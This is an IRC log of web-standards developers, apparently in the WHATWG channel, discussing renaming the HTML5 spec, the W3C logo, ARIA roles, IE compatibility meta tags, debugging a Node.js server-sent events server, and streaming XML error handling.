[18:17:00.0000] <annevk>
/me -> sleep

[18:19:00.0000] <paul_irish>
Hixie: I thought the 5 was being retained to help people searching for the spec.

[18:20:00.0000] <Hixie>
it was being retained to help with advocacy

[18:21:00.0000] <Hixie>
but now that the w3c has basically jumped onto the bandwagon of using "html5" as the new "ajax", it's not clear that anyone searching for "html5" is looking for the spec

[18:21:01.0000] <Hixie>
and anyway, "html5" on google doesn't get you the whatwg spec on the first page

[18:21:02.0000] <erlehmann>
Next up: The W3C ursurps the term “HTML” … oh wait.

[18:25:00.0000] <paul_irish>
Hixie: i see. Will http://developers.whatwg.org be able to retain "html5" ?

[18:25:01.0000] <Hixie>
that's up to ben

[18:25:02.0000] <paul_irish>
okay. i just pinged him. sounds good.

[19:24:00.0000] <hober>
Hixie: valentine's day

[19:24:01.0000] <hober>
Hixie: but yeah, I enjoyed the non-response

[19:28:00.0000] <hober>
also, +1 to s/5//

[19:30:00.0000] <othermaciej>
<small>i like the 5</small>

[19:33:00.0000] <MikeSmith>
http://es5.github.com/

[19:33:01.0000] <MikeSmith>
(moved from sideshowbarker.github.com/es5-spec/)

[19:34:00.0000] <MikeSmith>
I added markers that link to the MDC JavaScript Reference and MDC JavaScript Guide

[19:35:00.0000] <MikeSmith>
also added ones that link to Dmitry Soshnikov's article series

[20:31:00.0000] <karlcow>
es5.github.com just crashed my browser

[20:31:01.0000] <gsnedders>
/me wonders about changing the tree-walker API again to use a dict of (namespace, localName) tuple to value instead of the current list of dicts…

[20:48:00.0000] <Hixie>
othermaciej: correct me if i'm wrong, but it's more the versioning you like, right? not the 5 per se. We've already dropped the versioning.

[21:05:00.0000] <MikeSmith>
karlcow: I noticed some serious performance issues with viewing it Opera

[21:06:00.0000] <MikeSmith>
almost certainly due to me probably doing something really dumb in the JS code that generates the annotations

[21:07:00.0000] <MikeSmith>
but not crashes

[21:07:01.0000] <MikeSmith>
on my machine, I mean

[21:08:00.0000] <MikeSmith>
mostly just seems to talk a really long time to load -- scrolling slows/locks for a long time

[21:09:00.0000] <MikeSmith>
but then it seems to finish doing whatever and I can scroll fine and all after that

[21:11:00.0000] <gsnedders>
Reflowing during script execution when it adds the annotations?

[21:11:01.0000] <MikeSmith>
suppose so

[21:13:00.0000] <MikeSmith>
it's a big document a gazillion of those annotation markers

[21:29:00.0000] <cutepy>
hi i have a project to create an online document viewer. I plan to convert pdf documents to html for showing the documents.

[21:29:01.0000] <cutepy>
does anyone have any idea of how to program this

[22:32:00.0000] <Hixie>
(note for those not reading backlog: i'm planning on doing s/HTML5/HTML/ on the http://whatwg.org/html spec tomorrow unless someone raises an issue on this.)

[22:58:00.0000] <othermaciej>
Hixie: nah, I like HTML5 as a buzzword

[22:58:01.0000] <othermaciej>
Hixie: but I also don't care a huge amount what the draft says

[23:55:00.0000] <Hixie>
othermaciej: well as a buzz word it means far more than what the spec means, according to w3c

[23:55:01.0000] <Hixie>
othermaciej: so the buzzword is not a useful label for the spec :-)

[00:01:00.0000] <Hixie>
if anyone cares about prefixes in rdfa, here's my CP: http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-120

[00:02:00.0000] <Hixie>
i'll submit it tomorrow so if anyone has any feedback on it, either edit the CP directly or let me know here

[00:36:00.0000] <zcorpan>
wow is http://www.w3.org/TR/2011/CR-wai-aria-20110118/appendices#xhtml_dtd confused or what

[00:39:00.0000] <annevk>
http://antimatter15.com/wp/2011/01/the-ambiguity-of-open-and-vp8-vs-h-264/ is a pretty good article

[00:41:00.0000] <annevk>
they spell HTML5 with a space

[00:42:00.0000] <annevk>
and link to an ancient draft directly rather than via the references section?

[00:42:01.0000] <paul_irish>
gross.

[00:42:02.0000] <paul_irish>
also annevk, not that it should matter but antimatter is actually 15 years old.

[00:42:03.0000] <annevk>
smart kid then

[00:45:00.0000] <erlehmann>
the working draft podcast really nailed it with their stylesheet :D http://workingdraft.de/10/

[00:47:00.0000] <annevk>
haha

[00:49:00.0000] <annevk>
waiting for someone to create the interrobang version now

[00:53:00.0000] <erlehmann>
annevk, only question is: which color? let me see …

[00:54:00.0000] <annevk>
html5.org uses pink

[00:54:01.0000] <annevk>
WHATWG uses "WHATWG green"

[00:54:02.0000] <annevk>
http://workingdraft.de/ uses purple

[00:54:03.0000] <annevk>
lime?

[01:11:00.0000] <annevk>
"sergeant semantics" -- hsivonen makes up the best new terms :)

[01:15:00.0000] <erlehmann>
annevk, green and purple difference is approx. 60° on the color wheel. the new color thus would be some kind of orange.

[01:17:00.0000] <annevk>
if picking colors was a science, geeks would have prettier blogs

[01:17:01.0000] <zcorpan>
picking colors is art

[01:17:02.0000] <annevk>
trolling is a art too

[01:17:03.0000] <erlehmann>
if X was a science, geeks would have prettier Y (related to X)

[01:17:04.0000] <erlehmann>
corollar: nothing is sciency!

[01:17:05.0000] <zcorpan>
that's why art picked your blog's colors

[01:18:00.0000] <erlehmann>
annevk, AN art.

[01:18:01.0000] <annevk>
troled

[01:18:02.0000] <erlehmann>
coolface :B

[01:18:03.0000] <erlehmann>
:D

[01:19:00.0000] <erlehmann>
btw, anyone already selling spandex suits with the W3C HTML5 logo on the front?

[01:27:00.0000] <annevk>
I think brucel should do a sketch in such a suit

[01:27:01.0000] <annevk>
he clearly lost all creditability he had as developer advocate with the nudity and silly YouTube sketches :p

[01:28:00.0000] <erlehmann>
btw, whom of you is doing CSSquirrel? i like it, sometimes :3

[01:29:00.0000] <annevk>
I don't think he hangs out here

[01:44:00.0000] <zcorpan>
hsivonen: s/to for/to go for/ ?

[01:45:00.0000] <hsivonen>
https://twitter.com/#!/SemanticSarge/status/27657521934106625

[01:45:01.0000] <hsivonen>
zcorpan: thanks

[01:52:00.0000] <zcorpan>
"I've seen SVG and CSS3 versions of the logo - who's got a WOFF one?" http://epeus.blogspot.com/2011/01/how-w3c-invented-logo.html - would be funny with a font where "HTML5" etc were replaced by the logo glyph

[01:53:00.0000] <hsivonen>
zcorpan: there should be a ligature for the string HTML5

[01:54:00.0000] <zcorpan>
yeah

[01:55:00.0000] <hsivonen>
/me likes Eric Meyer's characterization: "Soviet-era Transformers logo"

[02:15:00.0000] <hsivonen>
Is my feed broken or is Venus broken when I have relative URLs in my Atom feed and Venus resolves them relative to my feed as opposed to resolving them relative to the entry's URL?

[02:21:00.0000] <roc>
There should be a Unicode character for HTML5

[02:23:00.0000] <zcorpan>
just use U+F8FF

[02:24:00.0000] <Lachy>
 ?

[02:24:01.0000] <zcorpan>
yah

[02:24:02.0000] <jgraham>
Seems to be in the PUA?

[02:25:00.0000] <zcorpan>
yah

[02:25:01.0000] <Lachy>
it is. It's the Apple logo on Macs

[02:25:02.0000] <jgraham>
Oh, I see

[02:25:03.0000] <jgraham>
Looks quite different here :)

[02:25:04.0000] <Lachy>
yeah, I expected as much

[02:25:05.0000] <jgraham>
Like:

[02:25:06.0000] <jgraham>
-

[02:25:07.0000] <jgraham>
Erm

[02:25:08.0000] <jgraham>
nevermind

[02:26:00.0000] <zcorpan>
it's great because when some people write "HTML5", other people will read "Apple"

[02:26:01.0000] <zcorpan>
and vice versa

[02:27:00.0000] <jgraham>
You have a sick sense of humor

[02:27:01.0000] <zcorpan>
thanks

[02:27:02.0000] <jgraham>
I can't work out if Apple would love it or hate it :)

[02:29:00.0000] <Lachy>
zcorpan, according to wikipedia, it's also the Windows logo in Wingdings 1

[02:52:00.0000] <annevk>
whoa whoa whoa

[02:52:01.0000] <annevk>
can create a wireless network with Android

[02:52:02.0000] <annevk>
circumventing the whole tethering nonsense

[02:53:00.0000] <annevk>
Android win

[02:55:00.0000] <erlehmann>
annevk, don't do it. it eats the battery faster than you can charge it.

[02:55:01.0000] <matijsb>
hook it up to the laptop?

[02:55:02.0000] <erlehmann>
better tether with USB. btw, OS X cannot into USB tethering. BUT WHY?

[02:56:00.0000] <annevk>
Android tethering is disabled as well

[02:56:01.0000] <erlehmann>
wat.

[02:56:02.0000] <annevk>
T-Mobile...

[02:56:03.0000] <rimantas>
erlehmann, what do you mean? I can tetter usb, bluetooth and wifi (have iOS 4.3 beta on my phone)

[02:56:04.0000] <annevk>
but creating a wireless network works

[02:57:00.0000] <rimantas>
not on AT&T though, and not even in US…

[02:57:01.0000] <annevk>
on Android?

[02:57:02.0000] <asmodai>
/me rages against unwanted java consoles in firefox' addons.

[02:57:03.0000] <matijsb>
rimantas: you have to be registered dev to get hold of betas though, right?

[02:57:04.0000] <rimantas>
matijsb, correct

[02:57:05.0000] <matijsb>
drat

[02:57:06.0000] <erlehmann>
rimantas, when I hook up my HTC dream to my debian box, network-manager can connect. my friend, who has a macbook, could not find any signs of automagic connection setup over USB.

[02:58:00.0000] <matijsb>
would quite possible the only way to get 4.3-like tethering before the clueless operators block it again

[02:58:01.0000] <erlehmann>
annevk, T-Mobile is shit everywhere. In Germany, they even want to charge for instant messaging and voip.

[02:59:00.0000] <erlehmann>
when i switched to my current carrier, O2, the salesperson actually got me with the “we won't fuck around with your traffic” part. every other carrier does,

[02:59:01.0000] <erlehmann>
T-mobile even dynamically re-compresses javascript, breaking the admin interface of an imageboard (that shall not be named) for me.

[03:00:00.0000] <erlehmann>
when i called support to tell them to stop this dickery, the told me i should sent some specific header. i raged, then switched.

[03:01:00.0000] <annevk>
there's not a whole lot of choice

[03:01:01.0000] <annevk>
I guess vodaphone would be an alternative...

[03:02:00.0000] <matijsb>
it's the only viable one in the Netherlands

[03:03:00.0000] <erlehmann>
nope. they block voip AFAIK.

[03:03:01.0000] <erlehmann>
kinda ironic, since they used several high profile bloggers to promote their services, testimonial-style.

[03:04:00.0000] <matijsb>
all these guys should be doing right now is work their asses off to build the best possible mobile network

[03:04:01.0000] <erlehmann>
“thus i stand for this — with my tainted name.”

[03:04:02.0000] <annevk>
if i had a lot of money to burn, I would try competing with them

[03:05:00.0000] <erlehmann>
matijsb, i suspect that wanting to challenge the status quo is an uncommon disposition.

[03:06:00.0000] <matijsb>
woudn't you much rather just buy a small country if you had that kind of money at your disposal? :)

[03:06:01.0000] <matijsb>
erlehmann: heh :)

[03:06:02.0000] <erlehmann>
annevk, the chaos communication congress had its own GSM network. maybe some free mesh network can emerge, like the german “freifunk” project (when i moved in here, i found empty linksys router packaging in the cupboard).

[03:07:00.0000] <erlehmann>
at least on the city-level that is feasible. outside, not so.

[03:07:01.0000] <annevk>
i would buy a big island with all the additional money i'd make

[03:08:00.0000] <matijsb>
isn't that what Fon does erlehmann?

[03:09:00.0000] <erlehmann>
matijsb, no. fon is a proprietary piggybacking on that idea, locking down their hardware and creating a walled garden.

[03:09:01.0000] <matijsb>
Oh!

[03:11:00.0000] <erlehmann>
matijsb, also: freifunk is actually doing mesh-networking. fon is not.

[03:12:00.0000] <erlehmann>
there is a reason for it, unique to germany. after reunification, people dug trenches for optical networks. but after they found out how one can use copper lines for DSL, no one used the fiber.

[03:12:01.0000] <erlehmann>
thus there were (and probably still are) areas where you could not get fast internet. mesh-networking with linux-based routers to the rescue!

[03:32:00.0000] <Philip`>
"I thought I had e-mailed about this a few days ago, but it turns out I had sent my e-mail to publish-html⊙wo instead of public-html⊙wo!"

[03:32:01.0000] <Philip`>
http://www.w3.org/TR/html5/ was published a few days ago

[03:33:00.0000] <Philip`>
Is this a secret mailing list that triggers spec publication?

[03:34:00.0000] <hsivonen>
Philip`: huh. Did Hixie just leak the existence of the secret publication cabal?

[03:36:00.0000] <annevk>
fwiw, Team/publish-html Member/publish-html all 404

[03:36:01.0000] <annevk>
thinking it was just a typo

[03:39:00.0000] <hsivonen>
annevk: I was joking

[03:40:00.0000] <annevk>
I was curious myself :)

[03:41:00.0000] <annevk>
a mistake like that is unlikely to happen in my mail client, but I think Hixie uses some ancient thing

[03:43:00.0000] <annevk>
I sometimes wish we had #secretthreehouse to rant about crazy Member-only emails

[03:43:01.0000] <annevk>
or questionable things, like why a certain WG is missing here http://www.w3.org/mid/20110119004051.GG7500⊙srn

[03:44:00.0000] <annevk>
oh hey

[03:44:01.0000] <annevk>
that's public :)

[03:44:02.0000] <annevk>
/me got it via the chairs cc

[03:46:00.0000] <annevk>
"Assuming this bug report is in English, it is invalid." hahaha

[03:48:00.0000] <jgraham>
Hixie uses (al)pine iirc

[03:56:00.0000] <hsivonen>
annevk: well, HTML5 doesn't reference the Role Attribute 1.0 spec

[03:57:00.0000] <hsivonen>
annevk: I wish the SVG WG didn't reference it, either, in their specs

[03:57:01.0000] <annevk>
HTML5 does mention the role="" attribute

[03:58:00.0000] <hsivonen>
annevk: what HTML5 mentions isn't the role attribute from the Role Attribute 1.0 spec. These aren't the droids you are looking for.

[03:58:01.0000] <erlehmann>
vrs

[03:59:00.0000] <vrs>
erlehmann

[04:36:00.0000] <annevk>
TabAtkins, https://bitbucket.org/annevk/simpleserver

[04:53:00.0000] <FastJack>
heh, like that html5 logo. looks a bit like the master control program from tron (the original one)

[05:00:00.0000] <zcorpan>
Philip`: feel like greping for pages with <textarea> in <button>?

[05:03:00.0000] <karlcow>
/me is reading hsivonen about the badge

[05:03:01.0000] <annevk>
that Python server works surprisingly well

[05:04:00.0000] <karlcow>
good point about the military semantics :/ It is spreading everywhere it seems.

[05:04:01.0000] <karlcow>
There was also recently "The Army of awesome" or something like that

[05:19:00.0000] <Philip`>
zcorpan: I looked for files (not just lines) matching (?i)<button([^<]|<(?!/button))*<textarea which I think should do that

[05:19:01.0000] <Philip`>
and didn't find any

[05:20:00.0000] <Philip`>
(There's lots if I use e.g img instead of textarea)

[05:22:00.0000] <MikeSmith>
hsivonen: http://bugzilla.validator.nu/show_bug.cgi?id=812

[05:23:00.0000] <MikeSmith>
would be easy enough to make that change, just wondering if in fact that'd be the right way to address the problem

[05:23:01.0000] <charlvn>
"oh nonon onono non onono nonono nono nononono nonon  onono nononononononononononononononononono" ?! :) what the heck?

[05:24:00.0000] <MikeSmith>
hsivonen: also would need to make that change in part of the IRI checker that deals with javascript: URLs

[05:24:01.0000] <MikeSmith>
I guess

[05:24:02.0000] <MikeSmith>
hsivonen: I think that one is supposed to match FunctionBody too, iirc

[05:25:00.0000] <gsnedders>
"return" should be a valid ExpressionStatement that falls into FunctionBody.

[05:26:00.0000] <zcorpan>
Philip`: ok. thanks

[05:31:00.0000] <MikeSmith>
hmm, neither http://tools.ietf.org/html/rfc4329 nor http://tools.ietf.org/html/draft-hoehrmann-javascript-scheme-03 specifies this

[05:31:01.0000] <hsivonen>
MikeSmith: I have no idea what Rhino is doing there, but I suppose the suggested fix makes sense if Rhino can't be configured with more granularity

[05:31:02.0000] <MikeSmith>
hsivonen: OK

[05:32:00.0000] <MikeSmith>
I will check and see if it can be

[05:32:01.0000] <MikeSmith>
but I am pretty sure it can't

[05:32:02.0000] <MikeSmith>
didn't find anything last time I poked around in their docs

[05:33:00.0000] <MikeSmith>
hsivonen: what about for javascript: URIs?

[05:33:01.0000] <MikeSmith>
should not we be doing the same there too?

[05:34:00.0000] <MikeSmith>
did you ever find anything that actually specifies exactly what the contents of those must conform to?

[05:34:01.0000] <MikeSmith>
I vaguely remember seeing something but can't remember where

[05:34:02.0000] <hsivonen>
MikeSmith: nothing fully realistic

[05:34:03.0000] <MikeSmith>
ok

[06:09:00.0000] <annevk>
hsivonen, I'm a bit slow still, but who defines the values for the role="" attribute then?

[06:09:01.0000] <annevk>
hsivonen, ooh, those are defined in WAI-ARIA?

[06:09:02.0000] <annevk>
hsivonen, if that is the case I do indeed wonder why we even need a separate draft

[06:10:00.0000] <annevk>
hsivonen, bit of shame still role="" was not renamed to aria-role=""

[06:10:01.0000] <hsivonen>
annevk: HTML5 seems to think ARIA defines and ARIA seems to think HTML5 defines it

[06:10:02.0000] <hsivonen>
annevk: there's a bit of a definitional gap there

[06:10:03.0000] <hsivonen>
annevk: but HTML5 tries to say that it specs into existence exactly the kind of thing ARIA wants

[06:12:00.0000] <matjas>
hsivonen, re: http://hsivonen.iki.fi/sergeant-semantics/ — have you seen the HTML5 ★ Boilerplate logo? :)

[06:12:01.0000] <hsivonen>
annevk: http://www.w3.org/Bugs/Public/show_bug.cgi?id=10914#c7

[06:12:02.0000] <hsivonen>
matjas: not sure

[06:13:00.0000] <matjas>
hsivonen: http://html5boilerplate.com/apple-touch-icon.png etc

[06:13:01.0000] <hsivonen>
matjas: no, I hadn't noticed that, no

[06:14:00.0000] <hsivonen>
FAIL: the boilerplate uses X-UA-Compatible *after* conditional comments

[06:15:00.0000] <matjas>
hsivonen: the sergeant insignia is also used by police in some countries: http://images.morris.com/images/juneau/mdControlled/cms/2008/04/08/266367930.jpg

[06:15:01.0000] <hsivonen>
/me wonders if anyone has actually tested if the IE=Edge bit on the boilerplate site ever takes effect

[06:16:00.0000] <hsivonen>
very interesting. it actually takes effect in IE9

[06:18:00.0000] <hsivonen>
I wonder if IE=Edge is allowed to have the UI effect of hiding the compat mode button even after it's too late to actually switch the mode

[06:19:00.0000] <hsivonen>
in the general case, X-UA-Compatible doesn't work after a script or after a conditional comment

[06:20:00.0000] <matjas>
hsivonen: Interesting! I filed a bug here: https://github.com/paulirish/html5-boilerplate/issues/issue/285 Perhaps paulirish can tell us more.

[06:21:00.0000] <hsivonen>
interesting, it also has a UI effect in IE8

[06:22:00.0000] <hsivonen>
I'd love to know if the boilerplate triggers Edge if served from a blacklisted domain

[06:22:01.0000] <annevk>
maybe they just scan the first 512 bytes?

[06:22:02.0000] <annevk>
oh right, by default you get IE=edge anyway

[06:22:03.0000] <annevk>
but spreading that meta element is bad imo

[06:22:04.0000] <annevk>
so much cruft

[06:23:00.0000] <annevk>
just when we managed to kill most of the silly DOCTYPE

[06:23:01.0000] <annevk>
Microsoft goes to add something...

[06:23:02.0000] <matjas>
don’t even mention the IE9/Win7 jumplist menu madness

[06:26:00.0000] <annevk>
I wonder why some people refer to Ian as "html5 editor"

[06:26:01.0000] <annevk>
Too afraid to mention his name?

[06:27:00.0000] <annevk>
Reminds me of that book with muggles and wizards

[06:27:01.0000] <jgraham>
annevk: To dehumanize him?

[06:28:00.0000] <annevk>
It's rather pathetic really

[06:30:00.0000] <karlcow>
annevk: the person saying html5 editor is from where?

[06:31:00.0000] <karlcow>
name/role are handled differently depending on culture

[06:32:00.0000] <matjas>
Microsoft FrontPage 2011 == HTML5 editor

[06:33:00.0000] <annevk>
karlcow, the one that is persistent about is Steve Faulkner

[06:33:01.0000] <annevk>
I think he's from the UK

[06:35:00.0000] <karlcow>
so that would not work in this case I guess ;)

[06:35:01.0000] <annevk>
about it*

[06:44:00.0000] <remysharp>
annevk: do you have a second to answer a question about SSE (re: your comment on the html5doctor article)

[06:45:00.0000] <annevk>
yes

[06:45:01.0000] <annevk>
Hixie, do you have some source code that generated http://www.hixie.ch/tests/adhoc/html/parsing/encoding/ ?

[06:45:02.0000] <remysharp>
you said that the server was sending 200ok and closing

[06:45:03.0000] <remysharp>
that's right

[06:46:00.0000] <remysharp>
should it not be sending 200?

[06:46:01.0000] <remysharp>
I've been re-reading the spec and I'm obviously going wrong if you're saying it's good in Opera 11

[06:48:00.0000] <annevk>
remysharp, sending 200 is fine, if you want the browser to reestablish the connection

[06:48:01.0000] <annevk>
remysharp, if you want to keep sending events, you should not close the connection

[06:49:00.0000] <annevk>
remysharp, that is the problem

[06:49:01.0000] <remysharp>
annevk: so this is (a snippet) of what I've got so now: https://gist.github.com/786260

[06:49:02.0000] <annevk>
remysharp, if the server keeps the connection open, there is no need for the client to reestablish the connection

[06:49:03.0000] <remysharp>
so I should ditch the response.end() part

[06:50:00.0000] <remysharp>
annevk: okay, I'll tweak the server now - remove the close, and I guess just stick a timer in there that keeps sending content

[06:50:01.0000] <remysharp>
annevk: if it's working, I'll add an update to clarify what I ballsed up.

[06:50:02.0000] <annevk>
remysharp, you need some kind of asynchronous architecture on the server if you really want to make use of this

[06:50:03.0000] <annevk>
remysharp, much like with WebSocket

[06:50:04.0000] <remysharp>
annevk: node should do

[06:50:05.0000] <annevk>
remysharp, it probably does, yes

[06:50:06.0000] <remysharp>
:)

[06:51:00.0000] <hsivonen>
where do all these bug reports with markup come from?

[06:54:00.0000] <remysharp>
annevk: hmm - didn't seem to work: http://node.remysharp.com:8001/sse-client.html

[06:54:01.0000] <remysharp>
annevk: it's still opening new connections even though the server isn't closing

[06:55:00.0000] <matjas>
gotta love his new avatar — http://twitter.com/diveintomark

[06:55:01.0000] <annevk>
are you sure res.end() is not implicit

[06:55:02.0000] <annevk>
I mean, if you just removed that

[06:55:03.0000] <remysharp>
annevk: yeah, actually - I just removed res.end() - but when I curl it from the command line it seems to close

[06:55:04.0000] <remysharp>
annevk: going to check a little deeper

[06:56:00.0000] <annevk>
I suspect you need a different kind of setup

[06:56:01.0000] <annevk>
remysharp, http://www.html5rocks.com/tutorials/eventsource/basics/

[06:57:00.0000] <annevk>
remysharp, sorry

[06:57:01.0000] <annevk>
remysharp, their server implementation is no better

[06:57:02.0000] <annevk>
I wonder if anyone actually took a real crack at this yet :)

[06:57:03.0000] <remysharp>
annevk: yeah, I checked over that today, it's practically the same as what I had

[06:58:00.0000] <remysharp>
annevk: /thats/ why I figured it was borked

[06:58:01.0000] <remysharp>
:)

[06:59:00.0000] <annevk>
Seems like paul_irish should hunt someone down at the Googleplex :)

[07:00:00.0000] <annevk>
there is a real one btw in Java

[07:00:01.0000] <annevk>
http://my.opera.com/WebApplications/blog/2007/05/03/scalable-server-sent-events

[07:00:02.0000] <annevk>
but it is for an older version of server-sent events, but it comes down to the same

[07:03:00.0000] <jgraham>
Seems like it should be quite easy to write a server for, if you write a proper server rather than some PHP hack

[07:04:00.0000] <remysharp>
yet no one has done it - except for the old example annevk just pointed out

[07:05:00.0000] <annevk>
I suspect it is quite easy to hack one on top of https://bitbucket.org/annevk/simpleserver

[07:05:01.0000] <Philip`>
/me guesses it should be straightforward in e.g. Twisted in Python

[07:06:00.0000] <Philip`>
(since that already provides async HTTP stuff)

[07:07:00.0000] <remysharp>
you'd think it should be simple in node, just remove the res.end() - but it seems to be closing automatically :-\

[07:08:00.0000] <annevk>
http://nodejs.org/api.html

[07:08:01.0000] <annevk>
"Sending a 'Connection: keep-alive' will notify Node that the connection to the server should be persisted until the next request."

[07:08:02.0000] <Rik`>
remysharp: the gist you're showing misses some code

[07:09:00.0000] <remysharp>
it's missing most of the code - here's the full listing:

[07:09:01.0000] <remysharp>
http://node.remysharp.com:8001/custom-echo.js

[07:09:02.0000] <remysharp>
it's now staying open - seems that I was going through some %$£%$££ proxy and it was caching my responses.

[07:09:03.0000] <remysharp>
brillant.

[07:10:00.0000] <annevk>
sweet

[07:11:00.0000] <annevk>
may I recommend writing a separate article?

[07:12:00.0000] <remysharp>
dedicated to sse?

[07:13:00.0000] <annevk>
yeah

[07:13:01.0000] <remysharp>
why's that - do you mean for a more detailed article, or to correct the fuck up I left in the wake of my article?

[07:14:00.0000] <remysharp>
of course I want to set people straight either way :)

[07:14:01.0000] <annevk>
it seems tricky and interesting enough on its own

[07:14:02.0000] <annevk>
mostly

[07:15:00.0000] <remysharp>
yeah, the plan is to eventually have dedicated articles on all of those technologies

[07:15:01.0000] <miketaylr>
a dedicated article would be great

[07:15:02.0000] <remysharp>
The priority for me is to correct the article and get people re-reading the corrections

[07:19:00.0000] <remysharp>
problem I've got now, is the opera opens the connection, but isn't receiving message events...

[07:20:00.0000] <Philip`>
Do you need to flush the response within the server?

[07:20:01.0000] <remysharp>
no, it's going through

[07:20:02.0000] <remysharp>
here's the server: curl http://node.remysharp.com:8001/sse/

[07:21:00.0000] <remysharp>
sends two lines: "data: connected: 12\nid: 2\n\n"

[07:22:00.0000] <Philip`>
I see no newlines after the id

[07:22:01.0000] <Philip`>
id: 18data: connected: 6

[07:22:02.0000] <remysharp>
this is the server code that's live: http://node.remysharp.com:8001/custom-echo.js

[07:23:00.0000] <remysharp>
it shouldn't fix it, but I'm switing '\n\n' to "\n\n"

[07:24:00.0000] <remysharp>
okay, fixed it

[07:24:01.0000] <Philip`>
Works now

[07:24:02.0000] <remysharp>
I'm a plum - forgot to restart after I added \n\n

[07:24:03.0000] <Philip`>
Ah :-)

[07:25:00.0000] <remysharp>
screw me sideways. that was too much time on such a simple fix

[07:25:01.0000] <remysharp>
okay, with that fix - Opera working perfect, no re-requesting

[07:25:02.0000] <remysharp>
Chrome too

[07:25:03.0000] <Philip`>
/me finds Wireshark handy for debugging this kind of thing, incidentally, since it shows the raw traffic and the packet boundaries and who closed the connection etc

[07:26:00.0000] <remysharp>
Philip`: yeah, I /used/ to use it years ago - you're reminded me I shouldn't have stopped!

[07:29:00.0000] <remysharp>
what's nice about SSE is they reconnect nicely :)

[07:32:00.0000] <Philip`>
/me hates the name SSE, since it always makes him think of SIMD instruction sets

[07:33:00.0000] <remysharp>
EventSource?

[07:33:01.0000] <remysharp>
SexySeverEvents

[07:34:00.0000] <remysharp>
+EventSauce = mess

[07:34:01.0000] <remysharp>
/me that me done I think.

[07:34:02.0000] <Philip`>
Maybe server sent event will be extended to SSE2, then SSE3, then Microsoft will invent SSSE3 and SSE4 while Mozilla invents SSE5 and it'll all be an incompatible mess

[07:34:03.0000] <Philip`>
s/event/events/

[07:43:00.0000] <hsivonen>
OK. the Internets has done its duty and produced a picture of brucel with the W3C HTML5 logo on his superhero suit: https://twitter.com/#!/SuperHTML5Bruce

[08:01:00.0000] <annevk>
hah

[08:35:00.0000] <annevk>
you get an XML document as input, process it incrementally and do some transformation, and write it away at the same time, all while using minimal memory even when processing gigabytes of data

[08:36:00.0000] <annevk>
however, there's no guarantee the input is well-formed

[08:36:01.0000] <jgraham>
annevk: ?

[08:37:00.0000] <annevk>
is this an argument/use case for something like XML5 or am I missing something?

[08:37:01.0000] <annevk>
presumably the processor could detect the error and pass it on, but output is already being written, potentially being another XML document

[08:38:00.0000] <annevk>
it seems with traditional XML you would always need to do a double pass over the input resource

[08:38:01.0000] <annevk>
first to check whether it is correct, then to pass on events to the transformation and output layer

[08:38:02.0000] <jgraham>
It depends on whether you are a revisionist XMLer or not

[08:39:00.0000] <jgraham>
If you are, it is fine to stop processing where you find the error and just say "now there is an error"

[08:39:01.0000] <jgraham>
Maybe if you are not, even

[08:45:00.0000] <annevk>
jgraham, how would you say that though?

[08:45:01.0000] <annevk>
jgraham, consider XML -> XML

[08:46:00.0000] <annevk>
jgraham, <test>very long text node with at the end an invalid byte</test>

[08:46:01.0000] <annevk>
jgraham, the transformation step applied is renaming <test> to <p>

[08:46:02.0000] <annevk>
this scenario is not theoretical, people at typLAB are doing something similar to this

[08:47:00.0000] <annevk>
independent from me they came to the conclusion they needed some kind of lenient XML parser

[08:47:01.0000] <annevk>
when I found out I did point out XML5

[08:49:00.0000] <Philip`>
When I did something that streamingly generated XML and might encounter errors, I made it emit U+0018 CANCEL into the XML output to signal the errors

[08:49:01.0000] <Philip`>
since "cancel" sounded like a good word

[08:49:02.0000] <Philip`>
and since it'd made any streaming consumer abort too

[08:50:00.0000] <Philip`>
s/made/make/

[08:52:00.0000] <jgraham>
annevk: If you are a revisionist, the handling after you hit the error is explicitly undefined, so it is fine to recover up to where you encounter the byte and close out all open elements or whatever

[08:53:00.0000] <jgraham>
I mean, I agree this is not enough, but apparently it has taken people years to cotton on to how damaging the XML position of "we know the one true error recovery strategy (and it is hard failure)" is

[08:54:00.0000] <Philip`>
If you were streamingly outputting HTML and encountered a fatal error, you wouldn't be able to signal it at all, which sounds worse

[08:55:00.0000] <jgraham>
Philip`: Why not? You could have some out-of band method of signaling

[08:56:00.0000] <Philip`>
If you have out-of-band signalling then you could use that for XML too and there's no problem

[08:57:00.0000] <jgraham>
Hmm, maybe I don't understand

[08:57:01.0000] <jgraham>
You encounter something in HTML you consider a fatal error

[08:58:00.0000] <jgraham>
You can just stop, and send an error code

[08:59:00.0000] <zcorpan>
/me thinks Philip` meant XML->HTML with some error in the XML

[08:59:01.0000] <jgraham>
With XML you encounter a non-fatal error (that causes wellformedness problems)

[08:59:02.0000] <jgraham>
You can't do anything without violating the spec

[09:00:00.0000] <jgraham>
Or reparsing the whole document as non-XML

[09:00:01.0000] <Philip`>
I assumed annevk's original point about XML->XML conversion was that there was no way to report fatal errors (because it's streaming and there's no out-of-band notifications) and so a lenient XML parser was required so that you never get fatal errors and don't need to worry about reporting them, or something

[09:02:00.0000] <Philip`>
But I don't see why you need to avoid fatal parse errors, because you can just abort and emit ill-formed output so the error is passed on to the consumer

[09:03:00.0000] <Philip`>
and you can get fatal errors in plenty of other ways (e.g. running out of memory) so you need some way to signal errors anyway

[09:04:00.0000] <Philip`>
so I don't see why lenient XML parsers are relevant

[09:04:01.0000] <annevk>
if the consumer is the end user that seems like a bad situation

[09:04:02.0000] <Philip`>
zcorpan: (I meant HTML->XML using hsivonen's non-buffered SAX mode which aborts on non-streamable parse errors)

[09:06:00.0000] <Philip`>
zcorpan: (unless you meant the other thing I meant)

[09:06:01.0000] <Philip`>
/me is getting confused

[09:07:00.0000] <annevk>
yay

[09:08:00.0000] <annevk>
my thread confused Philip`

[09:08:01.0000] <annevk>
mission accomplished

[09:10:00.0000] <annevk>
oh right

[09:11:00.0000] <annevk>
so last night krijnh proposed <h1>Hello <small>Hello 101 Study</small></h1>

[09:11:01.0000] <annevk>
as alternative to having a new element

[09:12:00.0000] <annevk>
jgraham, I think I like that even better than what you proposed

[09:13:00.0000] <jgraham>
I like it less fwiw

[09:13:01.0000] <jgraham>
Someone else suggested it at the same time

[09:14:00.0000] <jgraham>
It doesn't mean the same as <small> in other contexts

[09:14:01.0000] <jgraham>
If we believe in this semantics lark there is no point in making it unnecesssarily hard

[09:15:00.0000] <Hixie>
annevk: yes i have code that generated that source, ping me in a couple of hours and i can get it to you

[09:16:00.0000] <Hixie>
